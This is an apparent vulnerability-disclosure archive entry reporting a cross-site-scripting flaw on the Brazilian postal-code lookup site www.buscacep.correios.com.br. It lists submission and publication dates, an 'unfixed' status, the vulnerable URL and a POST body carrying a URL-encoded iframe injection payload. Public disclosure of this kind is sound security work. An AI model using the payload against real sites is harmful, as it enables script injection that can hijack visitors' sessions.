Security researcher postmaster, has submitted on 12/12/2010 a cross-site-scripting (XSS) vulnerability affecting www.buscacep.correios.com.br, which at the time of submission ranked 1347 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 16/12/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 12/12/2010 |
Date published: 16/12/2011 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: postmaster |
Domain: www.buscacep.correios.com.br |
Category: XSS |
Pagerank: 1347 |
|---|
| URL: http://www.buscacep.correios.com.br/servicos/dnec/consultaLogradouroAction.do |
| POST: relaxation=%3Ciframe+src%3D%2F%2Fxssed.com%3E&Metodo=listaLogradouro&TipoConsulta=relaxation&StartRo w=1&EndRow=10 |
|
Click here to view the mirror
|
|
|
| 
